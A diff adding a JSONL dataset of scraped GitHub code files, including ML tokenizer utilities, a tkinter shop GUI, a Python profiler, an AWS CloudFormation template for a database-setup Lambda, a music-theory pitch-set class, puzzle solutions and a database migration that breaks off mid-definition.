diff --git "a/3268.jsonl" "b/3268.jsonl" new file mode 100644--- /dev/null +++ "b/3268.jsonl" @@ -0,0 +1,1088 @@ +{"seq_id":"40076533457","text":"import logging\nfrom sklearn.metrics import f1_score, recall_score, precision_score\nimport torch\nfrom transformers import \\\n DistilBertTokenizer, DistilBertConfig, DistilBertModel, \\\n RobertaTokenizer, RobertaConfig, RobertaModel, \\\n BertTokenizer, BertConfig, BertModel, \\\n AlbertTokenizer, AlbertConfig, AlbertModel, \\\n GPT2Tokenizer, GPT2Config, GPT2Model, \\\n XLNetTokenizer, XLNetConfig, XLNetModel, \\\n LongformerTokenizer, LongformerConfig, LongformerModel\n\n\nclass TransformerOptions:\n options = {\n \"albert-xxlarge-v2\": (AlbertTokenizer, AlbertConfig, AlbertModel),\n \"albert-base-v2\": (AlbertTokenizer, AlbertConfig, AlbertModel),\n \"albert-base-v1\": (AlbertTokenizer, AlbertConfig, AlbertModel),\n \"bert-base-uncased\": (BertTokenizer, BertConfig, BertModel),\n \"bert-large-uncased\": (BertTokenizer, BertConfig, BertModel),\n \"xlnet-base-cased\": (XLNetTokenizer, XLNetConfig, XLNetModel),\n \"gpt2\": (GPT2Tokenizer, GPT2Config, GPT2Model),\n \"distilbert-base-uncased\": (DistilBertTokenizer, DistilBertConfig, DistilBertModel),\n \"roberta-base\": (RobertaTokenizer, RobertaConfig, RobertaModel),\n \"allenai/longformer-base-4096\": (LongformerTokenizer, LongformerConfig, LongformerModel)\n }\n\n def __init__(self, config_name, output_hidden_states=True, output_past=False,\n lm_path=None, max_length=None, num_labels=21):\n\n self.tokenizer = self.options[config_name][0].from_pretrained(\n config_name)\n\n self.config = self.options[config_name][1].from_pretrained(config_name,\n output_hidden_states=output_hidden_states,\n output_past=output_past,\n num_labels=num_labels)\n if lm_path is None:\n self.model = self.options[config_name][2](self.config)\n else:\n self.model = self.options[config_name][2].from_pretrained(lm_path,\n config=self.config)\n\n\ndef get_number_splits(batch):\n return batch[0].shape[1]\n\n\ndef get_labels(number):\n label_options = {\n \"1\": [\"GH\", \"NotGH\"],\n \"5\": [\"FU\", \"GH\", \"TP\", \"SD\", \"ID\"],\n \"6\": [\"FU\", \"GH\", \"TP\", \"SD\", \"ID\", \"none\"],\n \"21\": ['AG', 'BF', 'CE', 'ED', 'EN', 'FU', 'GH', 'HA', 'HR', 'ID', 'II', 'IN', 'MC', 'NR', 'PM', 'PS', 'RE', 'SD', 'TP', 'UD', 'WS']\n }\n\n return label_options[str(number)]\n\n\nclass IncreasedLoggingLevel():\n def __init__(self, logger_name, target_level=logging.ERROR):\n self.logger = logging.getLogger(logger_name)\n self.target_level = logging.ERROR\n self.original_level = self.logger.getEffectiveLevel()\n\n def __enter__(self):\n self.logger.setLevel(self.target_level)\n\n def __exit__(self, type, value, traceback):\n self.logger.setLevel(self.original_level)\n","repo_name":"Devex/transformer-models-news-topic-cls","sub_path":"news-topic-cls/utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3026,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"20645816106","text":"from tkinter import *\n\ndef small():\n\tfile.write(\"Small\\n\")\ndef med():\n\tfile.write(\"Medium\\n\")\ndef large():\n\tfile.write(\"Large\\n\")\n\t\t \ndef mel():\n\tfile.write(\"Water Melon Juice \")\n\tsizeWindow()\ndef straw():\n\tfile.write(\"Strawberry Juice \")\n\tsizeWindow()\ndef qasab():\n\tfile.write(\"Qasab Juice \")\n\tsizeWindow()\ndef mango():\n\tfile.write(\"Mango Juice \")\n\tsizeWindow()\n\nfile = open(\"orders.txt\",\"w+\")\nfile.write(\"Orders:\\n\")\n\nmain1 = Tk()\nmain1.title(\"Qasab Shop\")\nmain1.geometry('440x170')\n\n\n\nphoto_water = PhotoImage(file = \"water.png\")\nphoto_water = photo_water.subsample(11,11)\nphoto_straw = PhotoImage(file = \"Strawberry.png\")\nphoto_straw = photo_straw.subsample(12,12)\nphoto_qasab = PhotoImage(file = \"qasab.png\")\nphoto_qasab = photo_qasab.subsample(2,2)\nphoto_mango = PhotoImage(file = \"Mango.png\")\nphoto_mango = photo_mango.subsample(12,12)\n\nlm_water = Label(main1,image=photo_water).grid(row=0,column=0)\nlm_straw = Label(main1,image=photo_straw).grid(row=0,column=1)\nlm_qasab = Label(main1,image=photo_qasab).grid(row=0,column=2)\nlm_mango = Label(main1,image=photo_mango).grid(row=0,column=3)\n\nbm_water = Button(main1,text=\"Water Melon\",bd=4,background='orange', command=mel).grid(row=1,column=0)\nbm_straw = Button(main1,text=\"Strawberry\",bd=4,background='orange',command=straw).grid(row=1,column=1)\nbm_qasab = Button(main1,text=\"Qasab\",bd=4,background='orange', command=qasab).grid(row=1,column=2)\nbm_mango = Button(main1,text=\"Mango\",bd=4,background='orange',command=mango).grid(row=1,column=3)\n\nexit_button = Button(main1, text=\"Exit\",bd=3,fg=\"#fa5b3d\",font=('optima',12), command=main1.destroy).grid(row=2)\n\n\ndef sizeWindow():\n\tsizeW = Toplevel(main1)\n\tsizeW.title(\"Choose Cup size\")\n\tsizeW.geometry(\"300x140\")\n\tsize_small = Button(sizeW,text=\"Small\",bd=4,background='orange',command=small).grid(row=0,column=0)\n\tsize_med = Button(sizeW,text=\"Medium\",bd=4,background='orange',command=med).grid(row=1,column=0)\n\tsize_large = Button(sizeW,text=\"Large\",bd=4,background='orange',command=large).grid(row=2,column=0)\n\texit_button = Button(sizeW, text=\"Exit\",bd=3,fg=\"#fa5b3d\",font=('optima',12), command=sizeW.destroy).grid(row=3)\n\t\nmain1.mainloop()","repo_name":"Ayman-Adly/Python_tasks","sub_path":"Lec 7/qasab_shop.py","file_name":"qasab_shop.py","file_ext":"py","file_size_in_byte":2180,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"26357154097","text":"available_parts = [\"computer\",\r\n \"monitor\",\r\n \"keyboard\",\r\n \"mouse\",\r\n \"mouse mat\",\r\n \"HDMI Cable\",\r\n \"DVD Drive\"\r\n ]\r\n# valid_choices = [str(i) for i in range(1, len(available_parts) +1)]\r\nvalid_choices = []\r\nfor i in range(1, len(available_parts) + 1):\r\n valid_choices.append(str(i))\r\n\r\ncurrent_choice = \"-\"\r\ncomputer_parts = [] #create an empty list\r\n\r\nwhile current_choice != '0':\r\n if current_choice in valid_choices:\r\n index = int(current_choice) - 1\r\n # -1 because the first position is 0 on\r\n # the list so when the input is '1', we mean 0\r\n chosen_part = available_parts[index]\r\n if chosen_part in computer_parts:\r\n #it's already i, so remove it\r\n print(\"Removing {}\".format(current_choice))\r\n computer_parts.remove(chosen_part) #removing\r\n else:\r\n print(\"Adding {}\".format(current_choice))\r\n computer_parts.append(chosen_part) #adding\r\n print(\"your list now contains {}\".format(computer_parts))\r\n\r\n else:\r\n print(\"Please add options from list below: \")\r\n for number, part in enumerate(available_parts):\r\n print(\"{0}: {1}\".format(number + 1, part))\r\n\r\n current_choice = input(\"Please type here: \")\r\n\r\nprint(\"Here is your list \" + str(sorted(computer_parts)))\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#built in functions --------------------------------------------------\r\n# #A\r\n# abs()\r\n# aiter()\r\n# all()\r\n# any()\r\n# anext()\r\n# ascii()\r\n#\r\n# B\r\n# bin()\r\n# bool()\r\n# breakpoint()\r\n# bytearray()\r\n# bytes()\r\n#\r\n# C\r\n# callable()\r\n# chr()\r\n# classmethod()\r\n# compile()\r\n# complex()\r\n#\r\n# D\r\n# delattr()\r\n# dict()\r\n# dir()\r\n# divmod()\r\n#\r\n# E\r\n# enumerate()\r\n# eval()\r\n# exec()\r\n#\r\n# F\r\n# filter()\r\n# float()\r\n# format()\r\n# frozenset()\r\n#\r\n# G\r\n# getattr()\r\n# globals()\r\n#\r\n# H\r\n# hasattr()\r\n# hash()\r\n# help()\r\n# hex()\r\n#\r\n# I\r\n# id()\r\n# input()\r\n# int()\r\n# isinstance()\r\n# issubclass()\r\n# iter()\r\n# L\r\n# len()\r\n# list()\r\n# locals()\r\n#\r\n# M\r\n# map()\r\n# max()\r\n# memoryview()\r\n# min()\r\n#\r\n# N\r\n# next()\r\n#\r\n# O\r\n# object()\r\n# oct()\r\n# open()\r\n# ord()\r\n#\r\n# P\r\n# pow()\r\n# print()\r\n# property()\r\n#\r\n#\r\n#\r\n#\r\n# R\r\n# range()\r\n# repr()\r\n# reversed()\r\n# round()\r\n#\r\n# S\r\n# set()\r\n# setattr()\r\n# slice()\r\n# sorted()\r\n# staticmethod()\r\n# str()\r\n# sum()\r\n# super()\r\n#\r\n# T\r\n# tuple()\r\n# type()\r\n#\r\n# V\r\n# vars()\r\n#\r\n# Z\r\n# zip()\r\n#\r\n# _\r\n# __import__()\r\n","repo_name":"ksalter102/Python","sub_path":"buy.computer.py","file_name":"buy.computer.py","file_ext":"py","file_size_in_byte":2493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"9620877940","text":"import string\n\n\ndef int_func(word: str):\n if word.islower() and False not in list(\n map(\n lambda l: True if l in string.ascii_lowercase else False, word)):\n return word.title()\n\n\nprint(int_func(\"text\"))\n","repo_name":"cjalex90/gb","sub_path":"third_lesson/3.6.py","file_name":"3.6.py","file_ext":"py","file_size_in_byte":239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"20052297127","text":"\nimport sys\nimport time\n\nplog_field_count = 7\nplog_size = 0\nplog_next_idx = 0\nplog = None\n\n\ndef alloc_plog(size):\n\tglobal plog_size, plog\n\tplog_size = size\n\tplog = [[None]*plog_field_count for x in range(size)]\n\n\ndef analize_plog(plog):\n\tframe_stats = {}\n\tfunc_stats = {}\n\tfor op, frame_id, parent_frame_id, filename, lineno, func_name, now_us in plog:\n\t\tloc_id = (filename, lineno, func_name)\n\t\t# print(op, arg, id(frame), loc_id)\n\t\tif op == 'call':\n\t\t\tframe_stats[frame_id] = [now_us, 0]\n\t\telif op == 'return' or op == 'exception':\n\t\t\tstart_tm_us, callees_acc_us = frame_stats[frame_id]\n\t\t\tduration_us = now_us - start_tm_us\n\t\t\t# add total time spent in this frame to the parent frame\n\t\t\tif parent_frame_id in frame_stats:\n\t\t\t\tframe_stats[parent_frame_id][1] += duration_us\n\t\t\t# subtract time spent in callees from current frame\n\t\t\tduration_us -= callees_acc_us\n\n\t\t\t#print(op, arg, frame_id, loc_id, 'parent frame:\\t', parent_frame_id, 'acc:\\t', callees_acc_us, frame_stats[parent_frame_id][1] if parent_frame_id in frame_stats else 0, duration_us)\n\t\t\tdel frame_stats[frame_id]\n\t\t\tif loc_id in func_stats:\n\t\t\t\tcall_count, min_us, max_us, tot_us = func_stats[loc_id]\n\t\t\t\tcall_count += 1\n\t\t\t\tmin_us = min(min_us, duration_us)\n\t\t\t\tmax_us = max(max_us, duration_us)\n\t\t\t\ttot_us += duration_us\n\t\t\telse:\n\t\t\t\tcall_count, min_us, max_us, tot_us = (1, duration_us, duration_us, duration_us)\n\t\t\tfunc_stats[loc_id] = call_count, min_us, max_us, tot_us\n\t\telse:\n\t\t\tpass\n\treturn func_stats\n\n\ndef _log_trace_func(frame, op, arg):\n\tglobal plog_next_idx\n\tif op == 'line':\n\t\treturn\n\tnow_us = time.ticks_us()\n\tif plog_next_idx >= plog_size:\n\t\treturn\n\tcode = frame.f_code\n\t# assigning like this `[index][:] = fields` does not replace the item in the outer list\n\tplog[plog_next_idx][:] = op, id(frame), id(frame.f_back), code.co_filename, frame.f_lineno, code.co_name, now_us\n\tplog_next_idx += 1\n\treturn _log_trace_func\n\n\ndef test2(a):\n\t#time.sleep(0.1)\n\tpass\n\n\ndef test1(a):\n\ttest2(a)\n\ttest2(a)\n\ttest2(a)\n\ttest2(a)\n\ttest2(a)\n\n\ndef __main__():\n\ttest1('lalala')\n\ttest1('qaqaqa')\n\nalloc_plog(1000)\n\nsys.settrace(_log_trace_func)\n\n__main__()\nprint(analize_plog(plog))\n","repo_name":"dbrignoli/upy-profile","sub_path":"log_profile.py","file_name":"log_profile.py","file_ext":"py","file_size_in_byte":2145,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"41784021716","text":"# hyp3_setup_db.py\n# Rohan Weeden, William Horn\n# Created: June 13, 2018\n\n\"\"\"\nTroposphere template responsible for generating :ref:`setup_db_lambda`.\n\nRequires\n~~~~~~~~\n* :ref:`db_params_template`\n* :ref:`kms_key_template`\n\nResources\n~~~~~~~~~\n\n* **Lambda Function:** Python 3.6 lambda function, code is pulled from s3\n* **SSM Parameters:** Values start empty and are populated by setup_db\n\n * HyP3ApiUsername - Username of the HyP3 API admin user\n * HyP3ApiKey - API Key of the HyP3 API admin user\n\n* **IAM Policies:**\n\n * Lambda basic execution\n\n* **Custom Resource:** Triggers the setup_db lambda during stack creation\n\"\"\"\n\nimport uuid\n\nfrom tropo_env import environment\nfrom troposphere import GetAtt, Join, Output, Parameter, Ref, Sub\nfrom troposphere.awslambda import Environment\nfrom troposphere.cloudformation import CustomResource\nfrom troposphere.iam import Policy, Role\nfrom troposphere.ssm import Parameter as SSMParameter\n\nfrom template import t\n\nfrom . import utils\nfrom .hyp3_db_params import (\n db_name,\n db_pass,\n db_super_user,\n db_super_user_pass,\n db_user\n)\nfrom .hyp3_kms_key import kms_key\n\nsource_zip = \"setup_db.zip\"\n\n\nprint(' adding setup_db lambda')\n\n\ndefault_processes_s3_read = Policy(\n PolicyName='DefaultProcessesS3Read',\n PolicyDocument={\n \"Version\": \"2012-10-17\",\n \"Statement\": [{\n \"Effect\": \"Allow\",\n \"Action\": [\n \"s3:GetObject\",\n \"s3:HeadObject\"\n ],\n \"Resource\": 'arn:aws:s3:::{bucket}/{obj}'.format(\n bucket=environment.source_bucket,\n obj=environment.get_default_processes_key()\n ),\n }]}\n)\n\nssm_param_read_write = Policy(\n PolicyName=\"SsmParamReadWrite\",\n PolicyDocument={\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"VisualEditor0\",\n \"Effect\": \"Allow\",\n \"Action\": [\n \"ssm:PutParameter\"\n ],\n \"Resource\": Join(\":\", [\n \"arn:aws:ssm\",\n Ref(\"AWS::Region\"),\n Ref(\"AWS::AccountId\"),\n \"parameter/*\"\n ])\n }\n ]\n }\n)\n\nrole = t.add_resource(Role(\n \"SetupDbExecutionRole\",\n Path=\"/\",\n ManagedPolicyArns=[\n \"arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole\"\n ],\n Policies=[default_processes_s3_read, ssm_param_read_write],\n AssumeRolePolicyDocument=utils.get_static_policy('lambda-policy-doc')\n))\n\nadmin_email = t.add_parameter(Parameter(\n \"HyP3AdminEmail\",\n Description=(\n \"Email for the admin hyp3 user. \"\n \"This is where emails will be sent to.\"\n ),\n Type=\"String\",\n AllowedPattern=utils.get_email_pattern()\n))\n\nadmin_username = t.add_parameter(Parameter(\n \"HyP3AdminUsername\",\n Description=\"Username for the admin hyp3 user\",\n Type=\"String\",\n AllowedPattern=\"[a-zA-Z][a-zA-Z0-9]*\"\n))\n\nssm_hyp3_api_username_param_name = \"HyP3ApiUsername\"\nssm_hyp3_api_username = t.add_resource(SSMParameter(\n \"HyP3SSMParameterHyP3ApiUsername\",\n Name=Sub(\n \"/${{StackName}}/{}\".format(ssm_hyp3_api_username_param_name),\n StackName=Ref(\"AWS::StackName\")\n ),\n Type=\"String\",\n Value=\"♥\"\n))\n\nssm_hyp3_api_key_param_name = \"HyP3ApiKey\"\nssm_hyp3_api_key = t.add_resource(SSMParameter(\n \"HyP3SSMParameterHyP3ApiKey\",\n Name=Sub(\n \"/${{StackName}}/{}\".format(ssm_hyp3_api_key_param_name),\n StackName=Ref(\"AWS::StackName\")\n ),\n Type=\"String\",\n Value=\"♥\"\n))\n\nsetup_db = t.add_resource(utils.make_lambda_function(\n name='setup_db',\n role=role,\n lambda_params={\n \"KmsKeyArn\": GetAtt(kms_key, \"Arn\"),\n \"Environment\": Environment(\n Variables={\n \"HyP3DBHost\": utils.get_host_address(),\n \"HyP3DBName\": Ref(db_name),\n\n \"HyP3DBRootUser\": Ref(db_super_user),\n \"HyP3DBRootPass\": Ref(db_super_user_pass),\n\n \"HyP3DBUser\": Ref(db_user),\n \"HyP3DBPass\": Ref(db_pass),\n\n \"HyP3AdminUsername\": Ref(admin_username),\n \"HyP3AdminEmail\": Ref(admin_email),\n\n \"DefaultProcessesBucket\": environment.source_bucket,\n \"DefaultProcessesKey\": environment.get_default_processes_key(),\n\n \"HyP3StackName\": Ref(\"AWS::StackName\"),\n\n \"ParamNameHyP3Username\": ssm_hyp3_api_username_param_name,\n \"ParamNameHyP3ApiKey\": ssm_hyp3_api_key_param_name\n }\n ),\n \"Timeout\": 60\n }\n))\n\ndb_setup = t.add_resource(CustomResource(\n \"RunDBSetup\",\n ServiceToken=GetAtt(setup_db, \"Arn\"),\n # This is to always run the setup_db function on template updates.\n # Cloudformation only updates resources that change in the template.\n ForceUpdateId=str(uuid.uuid4())\n))\n\nt.add_output(Output(\n \"HyP3Username\",\n Description=\"HyP3 username\",\n Value=GetAtt(db_setup, 'HyP3Username')\n))\n\nt.add_output(Output(\n \"HyP3ApiKey\",\n Description=\"Api key for hyp3 access\",\n Value=GetAtt(db_setup, 'HyP3ApiKey')\n))\n","repo_name":"asfadmin/hyp3-in-a-box","sub_path":"cloudformation/tropo/templates/hyp3_setup_db.py","file_name":"hyp3_setup_db.py","file_ext":"py","file_size_in_byte":5177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"44052719300","text":"import sympy\n\n# By math on paper, figured out that only the vertical line from the orgin \n# And the vertical line of digits just to the right are the only possible \n# 3 or more prime difference lines\n\nN = 2000\n\nPD_3 = [1,2]\nr = 1\nn = 2\nwhile len(PD_3) < N:\n n += 6*r\n r += 1\n #c = 0; p = 0 position\n p_count_center = 0\n p_count_right = 0\n #c = 0; p = 0; up counterclockwise & up clockwise\n p_count_center += sympy.isprime(6*r + 1)\n p_count_center += sympy.isprime(12*r + 5)\n #shared between center and right\n if sympy.isprime(6*r - 1):\n p_count_center += 1\n p_count_right += 1\n #c = 5; p = r - 1; down counterclockwise & up clockwise\n p_count_right += sympy.isprime(12*r - 7)\n p_count_right += sympy.isprime(6*r + 5)\n #Check if they have 3 primes\n if p_count_center >= 3:\n print(\"FOUND\", n, \"r\", r, \"center\")\n PD_3.append(n)\n if p_count_right >= 3:\n print(\"FOUND\", n + 6*r - 1, \"r\", r, \"right\")\n PD_3.append(n + 6*r - 1)\nprint(\"ANS\", PD_3[N-1])\n\n\n\nexit()\n\n# start one ring down\nn = 7 # integer\nr = 1 # ringe\nc = 5 # corner\np = 1 # dist from corner\n\nouter = [17, 6, 7, 8, 9, 10, 11, 12] #Seed\n\nPD_count = 2\n\nfor _ in range(1000000):\n n += 1\n p += 1\n if p >= r:\n c += 1\n p = 0\n if c > 5:\n r += 1\n c = 0\n #Update inner and outer rings\n inner = outer\n outer = [*range(6*r-1, 6*(r+1)+1)]\n outer[0] += 6*(r+1)\n # print(\"r\", r, \"inner\", inner, \"outer\", outer)\n\n deltas = []\n #right\n if c == 0 and p == 0:\n deltas.append(6*r - 1)\n else:\n deltas.append(1)\n #left\n if c == 5 and p == r - 1:\n deltas.append(6*r - 1)\n else:\n deltas.append(1)\n #Get the inners & outers\n if p == 0: \n deltas.append(inner[c+1])\n deltas.extend(outer[c:c+3])\n else:\n deltas.extend(inner[c+1:c+3])\n deltas.extend(outer[c+1:c+3])\n if c == 5 and p == r - 1:\n deltas[2] = inner[0]\n\n PD = 0\n for d in deltas:\n if sympy.isprime(d):\n PD += 1\n\n if PD >= 3:\n PD_count += 1\n print(\"#\", PD_count, \"n\", n, \"r\", r, \"c\", c, \"p\", p, \"deltas\", deltas, \"PD\", PD)\n\n ","repo_name":"jgilles23/projectEuler","sub_path":"pe128.py","file_name":"pe128.py","file_ext":"py","file_size_in_byte":2228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"31294877907","text":"#!/usr/bin/env python\nfrom __future__ import division\nfrom itertools import combinations\n\nfrom sator.setbase import SetBase\n\n\nclass PSet(SetBase):\n \"\"\"A class for pitch sets, which adds pitch set only methods.\"\"\"\n\n pitchset = True\n\n class Mod12Only(Exception):\n pass\n\n class NotNeoR(Exception):\n \"\"\"Can not be transformed by a Neo-Riemannian operator\"\"\"\n pass\n\n def checkMod12(f):\n def _(*args, **kwargs):\n self = args[0]\n if self._mod != 12:\n raise self.Mod12Only('The modulus must be 12 for this method')\n return f(*args, **kwargs)\n _.__name__ = f.__name__\n _.__module__ = f.__module__\n _.__doc__ = f.__doc__\n return _\n\n def neo_oper(f):\n def _(*args, **kwargs):\n self = args[0]\n roots = self.root\n unique_roots = set((root % self._mod for root in roots))\n if len(roots) == 0 or len(unique_roots) > 1:\n return f(self)\n try:\n thirds, major = self._thirds(roots[0])\n except self.NotNeoR:\n return f(self)\n try:\n fifths = self._fifths(roots[0])\n except self.NotNeoR:\n return f(self)\n root_indexes = [index for index, p in enumerate(self[:]) if p in roots]\n return f(self, major, root_indexes, thirds, fifths, *args[1:], **kwargs)\n _.__name__ = f.__name__\n _.__module__ = f.__module__\n _.__doc__ = f.__doc__\n return _\n\n @property\n @checkMod12\n def root(self):\n \"\"\"\n Find the root(s) of an ordered pitch set, using Paul Hindemith's method\n \"\"\"\n if not self[:]:\n return []\n totals = {}\n for p in self[:]:\n totals[p] = 0\n for each in combinations(self[:], 2):\n diff = abs(each[1] - each[0]) % self._mod\n # Ignore tritones.\n if diff == 6:\n continue\n rating = diff if diff < self._mod // 2 else self._mod - diff\n # The root of these three is the lower note, otherwise higher\n lower, higher = (0, 1) if each[1] > each[0] else (1, 0)\n key = each[lower] if diff in [7, 4, 3] else each[higher] \n totals[key] = rating + totals.get(key, 0)\n # Sort by rating descending and truncate\n totals = sorted(totals.items(), key= lambda x: x[1])\n totals.reverse()\n current = totals[0][1]\n for index, total in enumerate(totals):\n if total[1] < current:\n index -= 1\n break\n current = total[1]\n return sorted([total[0] for total in totals[0:index + 1]])\n\n def _thirds(self, root):\n root_pc = root % self._mod\n thirds = []\n major = None\n for index, pc in enumerate(self.pcs):\n if pc == root_pc + 3 or pc == root_pc - 9:\n major = False\n thirds.append((index, major))\n if pc == root_pc + 4 or pc == root_pc - 8:\n major = True\n thirds.append((index, major))\n if len(thirds) < 1:\n raise self.NotNeoR('There is no identifiable third.')\n majors = [major for third, major in thirds]\n if True in majors and False in majors:\n raise self.NotNeoR('There are major and minor thirds.')\n return([third for third, major in thirds], major)\n\n def _fifths(self, root):\n root_pc = root % self._mod\n fifths = []\n for index, pc in enumerate(self.pcs):\n if pc == root_pc + 7 or pc == root_pc - 5:\n fifths.append(index)\n if len(fifths) < 1:\n raise self.NotNeoR('There is no identifiable fifth.')\n return fifths\n\n @checkMod12\n @neo_oper\n def P(self, *args):\n if not args:\n return self.copy()\n major, roots, thirds, fifths = args[:4]\n new = self.copy()\n for third in thirds:\n new[third] = new.pitches[third] - 1 \\\n if major else new.pitches[third] + 1\n return new\n\n @checkMod12\n @neo_oper\n def L(self, *args):\n if not args:\n return self.copy()\n major, roots, thirds, fifths = args[:4]\n new = self.copy()\n if major:\n for root in roots:\n new[root] = new.pitches[root] - 1\n else:\n for fifth in fifths:\n new[fifth] = new.pitches[fifth] + 1\n return new\n\n @checkMod12\n @neo_oper\n def R(self, *args):\n if not args:\n return self.copy()\n major, roots, thirds, fifths = args[:4]\n new = self.copy()\n if major:\n for fifth in fifths:\n new[fifth] = new.pitches[fifth] + 2\n else:\n for root in roots:\n new[root] = new.pitches[root] - 2\n return new\n\n def H(self):\n \"\"\"Hexatonic Pole (Cohn)\"\"\"\n return self.P().L().P()\n\n def N(self):\n \"\"\"Nebenverwandt\"\"\"\n return self.R().L().P()\n\n def S(self):\n \"\"\"Slide\"\"\"\n return self.L().P().R()\n\n def neo(self, ts):\n if not isinstance(ts, str):\n raise Exception('Neo method only accepts a string')\n ts = ts.upper()\n new = self.copy()\n\n def get_funcs(obj):\n fs = [obj.P, obj.L, obj.R, obj.H, obj.N, obj.S]\n return fs, [f.__name__ for f in fs]\n\n fs, fnames = get_funcs(self)\n for t in ts:\n if t in fnames:\n new = fs[fnames.index(t)]()\n yield new\n fs, fnames = get_funcs(new)\n\n def transform(self, ts):\n \"\"\"\n Returns the given object after performing the list of transformations\n given as a string argument.\n If the string is empty, the given object is returned.\n \"\"\"\n if not isinstance(ts, str):\n raise Exception('Transform method only accepts a string')\n t = None\n for t in self.neo(ts):\n pass\n return t if t is not None else self.copy()\n\n def cycle(self, ts):\n \"\"\"\n Cycle through a list of transformations until the original set is\n reached.\n \"\"\"\n if not isinstance(ts, str):\n raise Exception('Cycle method only accepts a string')\n ts = ts.lower()\n current = self.copy()\n while True:\n for each in self.neo(ts):\n self[:] = each\n yield each\n if each._unique_pcs == current._unique_pcs:\n self[:] = current\n break\n if self[:] == current:\n break\n\n def paths(self, other):\n \"\"\"\n A breadth first tree search to find the shortest path(s) from the given\n object to another. Takes one argument as the goal set, returns a list\n with one or more strings indicating the transformations between the\n given set and the goal set.\n \"\"\"\n # Verify that other is a transformation of self\n current = other.copy()\n current.canon(True, True, False)\n if self.prime != current.prime:\n raise self.NotNeoR('Neo Riemannian operations will never transform this set into the goal set.')\n\n # Make branches from the curret node following P, L and R\n def get_branches(obj):\n return ((f(), f) for f in (obj.P, obj.L, obj.R))\n\n def prune_append(obj, tree, first=True):\n # return paths when goal is reached, otherwise prune current ones\n # and append the next transformation, then check again\n if not first:\n # Only prune after the first time through\n for name in list(tree.keys()):\n obj = tree.pop(name)\n for branch, f in get_branches(obj):\n tree[name + f.__name__] = branch\n paths = [name for name, obj in tree.items() \\\n if obj._pc_set == other._pc_set]\n return paths if paths else prune_append(other, tree, first=False)\n\n # Make a tree with keys p, l, and r and values P(), L(), and R()\n tree = {}\n for branch, f in get_branches(self):\n tree[f.__name__] = branch\n return prune_append(self, tree)\n","repo_name":"calebsmith/Sator","sub_path":"sator/pset.py","file_name":"pset.py","file_ext":"py","file_size_in_byte":8396,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"60"} +{"seq_id":"38990351734","text":"# Union -> 두 그룹을 하나로 합친다\n# find -> 특정 노드가 어느 그룹에 속해있는지 찾는다.\n\ndef find(node):\n if node != root[node]: # 노드의 부모가 자기 자신이 아니라면\n root[node] = find(root[node]) # 부모 노드를 찾아간다 -> 경로 압축 수행\n return root[node]\n\n\ndef union(x, y):\n root_x = find(x)\n root_y = find(y)\n if rank[root_x] > rank[root_y]: # x의 랭크가 더 크다면 y의 부모를 x의 루트 부모로 설정\n root[root_y] = root_x\n else:\n root[root_x] = root_y\n if rank[root_x] == rank[root_y]: # 만약 랭크가 같다면 y의 랭크 증가\n rank[root_y] += 1\n\n\nN, Q = map(int, input().split())\nrank = [0] * (N + 1) # 각 노드의 랭크를 저장하는 리스트\nroot = [i for i in range(N + 1)]\nfor _ in range(Q):\n K, A, B = map(int, input().split())\n if K == 0:\n if find(A) == find(B):\n print('YES')\n else:\n print('NO')\n else:\n union(A, B) # A와 B를 같은 그룹으로 연결\n","repo_name":"hhheeeeee/TIL","sub_path":"2. APS/5. Tree/practice/unionfind.py","file_name":"unionfind.py","file_ext":"py","file_size_in_byte":1070,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"10957071033","text":"\"\"\"v1 db structure\n\nRevision ID: cd7de470586e\nRevises: 23e5fea252dd\nCreate Date: 2022-12-15 11:15:32.830225\n\n\"\"\"\nimport uuid\n\nimport sqlalchemy as sa\nfrom alembic import op\nfrom sqlalchemy.dialects.postgresql import JSONB, UUID\n\n# revision identifiers, used by Alembic.\nrevision = \"cd7de470586e\"\ndown_revision = \"23e5fea252dd\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n # remove database objects\n op.drop_index(op.f(\"prompt_labeler_id\"), table_name=\"prompt\")\n op.drop_table(\"prompt\")\n op.drop_table(\"labeler\")\n op.drop_index(op.f(\"ix_service_client_api_key\"), table_name=\"service_client\")\n op.drop_table(\"service_client\")\n\n # wreate new database structure\n op.create_table(\n \"api_client\",\n sa.Column(\"id\", UUID(as_uuid=True), default=uuid.uuid4, server_default=sa.text(\"gen_random_uuid()\")),\n sa.Column(\"api_key\", sa.String(512), nullable=False),\n sa.Column(\"description\", sa.String(256), nullable=False),\n sa.Column(\"admin_email\", sa.String(256), nullable=True),\n sa.Column(\"enabled\", sa.Boolean, default=True, nullable=False),\n sa.PrimaryKeyConstraint(\"id\"),\n )\n op.create_index(op.f(\"ix_api_client_api_key\"), \"api_client\", [\"api_key\"], unique=True)\n\n op.create_table(\n \"person\",\n sa.Column(\"id\", UUID(as_uuid=True), default=uuid.uuid4, server_default=sa.text(\"gen_random_uuid()\")),\n sa.Column(\"username\", sa.String(128), nullable=False), # unique in combination with api_client_id\n sa.Column(\"display_name\", sa.String(256), nullable=False), # cached last seen display_name\n sa.Column(\"created_date\", sa.DateTime(), nullable=False, server_default=sa.func.current_timestamp()),\n sa.Column(\"api_client_id\", UUID(as_uuid=True), nullable=False),\n sa.PrimaryKeyConstraint(\"id\"),\n sa.ForeignKeyConstraint([\"api_client_id\"], [\"api_client.id\"]),\n )\n op.create_index(op.f(\"ix_person_username\"), \"person\", [\"api_client_id\", \"username\"], unique=True)\n\n op.create_table(\n \"person_stats\",\n sa.Column(\"person_id\", UUID(as_uuid=True)),\n 